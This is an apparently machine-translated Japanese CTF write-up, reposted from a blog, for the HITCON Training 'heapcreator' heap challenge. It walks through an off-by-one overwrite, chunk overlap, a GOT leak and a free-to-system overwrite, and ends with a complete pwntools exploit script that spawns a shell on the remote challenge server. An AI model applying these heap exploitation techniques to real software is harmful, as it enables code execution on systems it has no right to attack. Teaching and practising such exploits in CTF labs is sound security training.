buuctf hitcontraining_heapcreator HITCON Trainingging lab13

この質問はwikiで入手できます。チャンク拡張とオーバーラップでは、個人的には、ヒープの学習を始めたばかりの私の方がこの質問を理解しやすいと思います。IDAcreate_heap関数にドラッグ
ます。

ここに画像の説明を挿入
ここでmallocが2つあること、つまり一度適用すると2つのチャンクが作成されることに注意してください。最初のチャンクのサイズは0x20であり、レコードと見なすことができます。 2番目のチャンクのサイズとポインターが格納されます。同時に、最初のチャンクのアドレスポインターがbssセクションに格納され、heaparray配列がここにあります。
ここに画像の説明を挿入
これはあまり明確ではない可能性があります。サイズが0x20のチャンクの場合、最初に格納されるデータは「aaaa」、2番目に格納されるデータは「bbbb」です。このように、ヒープのレイアウトは次のようになります。

0x603000:0x0000000000000000 0x0000000000000021
0x603010:0x0000000000000010 0x0000000000603030 (chunk0サイズおよびポインタ)
0x603020:0x0000000000000000 0x0000000000000021 (chunk0)
0x603030:0x0000000a61616161 0x0000000000000000 ( "AAAA")
0x603040:0x0000000000000000 0x0000000000000021
0x603050:0x0000000000000010 0x0000000000603070 (chunk1サイズおよびポインタ)
0x603060:0x0000000000000000 0x0000000000000021 (chunk1)
0x603070:0x0000000a62626262 0x0000000000000000 ( "bbbb")
0x603080:0x0000000000000000 0x0000000000020f81 (上部のチャンク)
0x603090:0x0000000000000000 0x0000000000000000
0x6030a0:0x0000000000000000 0x0000000000000000

このレイアウトを見て、やるべきことがあれば、次の関数
edit_heap関数
ここに画像の説明を挿入
を見てください。1つ
ずれた脆弱性があることを確認できます。show_heap関数:
ここに画像の説明を挿入
delete_heap関数:
ここに画像の説明を挿入
以前に適用された2つのチャンクがあることに注意してくださいすべて無料です。
次は問題解決のプロセスです。基本的な考え方として、wikiは次のように述べています
。1.次のチャンクのサイズフィールドを上書きして、偽のチャンクサイズを構築する。
2.偽造チャンクサイズを適用してチャンクオーバーラップを生成し、キーポインターを変更します。

スクリプトを詳しく見てみましょう。
最初に、4つ作成し、4番目に「/ bin / sh」と書き込みます。後で使用します。

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

0x603000:0x0000000000000000 0x0000000000000021
0x603010:0x0000000000000010 0x0000000000603030 (chunk0サイズおよびポインタ)
0x603020:0x0000000000000000 0x0000000000000021 (chunk0)
0x603030:0x0000000a61616161 0x0000000000000000 ( "AAAA")
0x603040:0x0000000000000000 0x0000000000000021
0x603050:0x0000000000000010 0x0000000000603070 (chunk1サイズおよびポインタ)
0x603060:0x0000000000000000 0x0000000000000021 (chunk1)
0x603070:0x0000000a62626262 0x0000000000000000 ( "bbbb")
0x603080:0x0000000000000000 0x0000000000000021
0x603090:0x0000000000000010 0x00000000006030b0 (チャンク2のサイズとポインタ)
0x6030a0:0x0000000000000000 0x0000000000000021(chunk2)
0x6030b0:0x0000000a63636363 0x0000000000000000 ( "CCCC")
0x6030c0:0x0000000000000000 0x0000000000000021
0x6030d0:0x0000000000000010 0x00000000006030f0 (chunk3サイズとポインタ)
0x6030e0:0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0:0x0a68732f6e69622f 0x0000000000000000 ( "/ binに/ SH")
0x603100:0x0000000000000000 0x0000000000020f01 (上部チャンク)
0x603110:0x0000000000000000 0x0000000000000000
0x603120:0x0000000000000000 0x0000000000000000

chunk0は0x18のサイズに適用されますが、実際に取得されるのは0x20のチャンクです。したがって、次のチャンクのprev_sizeフィールドがデータを書き込むときに使用されます。つまり、0x603040から0x603048までの場所で、 -1つの脆弱性、0x603048でデータを変更できる、つまりこのチャンクのサイズを変更できる

edit(0,'a'*0x18+'\x81')
delete(1)

ここで、0x603048のデータを0x81に変更してから解放します。

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)

以前に0x603048を0x81に変更したため、ここで0x70のサイズを適用する場合、実際に必要なチャンクサイズは実際には0x80です。したがって、ここで適用されるチャンクは以前に解放された部分です。前の手順とこの手順を実行してください。その後、これを実行することの意味と、どのような効果
得られるかを理解するのが難しくなる場合があります。実際、データをチャンクにリストすることは明らかです。

0x603000:0x0000000000000000 0x0000000000000021
0x603010:0x0000000000000010 0x0000000000603030
0x603020:0x0000000000000000 0x0000000000000021
0x603030:0x6161616161616161 0x6161616161616161
0x603040:0x6161616161616161 0x0000000000000081
0x603050:0x6464646464646464 0x6464646464646464
0x603060:0x6464646464646464 0x6464646464646464
0x603070:0x6464646464646464 0x6464646464646464
0x603080:0x6464646464646464 0x6464646464646464
0x603090:0x0000000000000008 0x0000000000602028 (free_got)
0x6030a0:0x0000000000000000 0x0000000000000021 (chunk2)
0x6030b0:0x0000000a63636363 0x0000000000000000 (「cccc」)
0x6030c0:0x0000000000000000 0x0000000000000021
0x6030d0:0x0000000000000010 0x00000000006030f0 (chunk3サイズとポインタ)
0x6030e0:0x0000000000000000 0x0000000000000021 (chunk3)
0x6030f0:0x0a68732f6e69622f 0x0000000000000000 ( "/ binに/ SH")
0x603100:0x0000000000000000 0x0000000000020f01 (トップチャンク)
0x603110:0x0000000000000000 0x0000000000000000
0x603120:0x0000000000000000 0x0000000000000000

0x603050-0x6030c0のデータは自由に編集できるため、この領域のデータを制御できます。最も重要なことは、0x603098のchunk2のポインターを正常に変更したことです。このポインターを使用できます。 、任意のアドレスにコンテンツを出力し、任意のアドレスにデータを再書き込みすることもできます。
つまり、自由に読み書きの機能を実現します。したがって、私のような初心者にとっては、以下の実際の操作と組み合わせると、まだ少し面倒かもしれません理解することは難しくありません:

show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

show(2)を実行すると、chunk2ポインターの内容が出力され、chunk2ポインターをfree_gotに変更したため、freeのアドレスをリークし
、システム関数のアドレスを計算しました。

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

前のステップで行ったのは、任意のアドレスを読み取ることでした。次に、このポインターを使用して任意のアドレスを書き換える必要があります。たとえば、freeのアドレスをシステム関数のアドレスに変更すると、chunk3のデータが "/ bin / sh "、free(chunk3)が実行されると、system(" / bin / sh ")が実際に実行されます。

edit(2,p64(system_addr))
delete(3)
sh.interactive()

完全なexpは次のとおりです。

from pwn import *
from LibcSearcher import LibcSearcher
sh=remote("node3.buuoj.cn",25984)
elf=ELF('./heapcreator')

def create(length,value):
	sh.recvuntil("Your choice :")
	sh.sendline("1")
	sh.recvuntil("Size of Heap : ")
	sh.sendline(str(int(length)))
	sh.recvuntil("Content of heap:")
	sh.sendline(value)
def edit(index,value):
	sh.recvuntil("Your choice :")
	sh.sendline("2")
	sh.recvuntil("Index :")
	sh.sendline(str(int(index)))
	sh.recvuntil("Content of heap : ")
	sh.sendline(value)
def show(index):
	sh.recvuntil("Your choice :")
	sh.sendline("3")
	sh.recvuntil("Index :")
	sh.sendline(str(int(index)))
def delete(index):
    sh.recvuntil('Your choice :')
    sh.sendline('4')
    sh.recvuntil('Index :')
    sh.sendline(str(int(index)))

create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
create(0x10,'/bin/sh')

edit(0,'a'*0x18+'\x81')
delete(1)

size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)
show(2)
sh.recvuntil('Content : ')
free_addr = u64(sh.recvuntil('Done')[:-5].ljust(8,'\x00'))

libc=LibcSearcher("free",free_addr)
system_addr=free_addr+libc.dump("system")-libc.dump("free")

edit(2,p64(system_addr))
delete(3)
sh.interactive()

おすすめ

転載: blog.csdn.net/weixin_45677731/article/details/107914807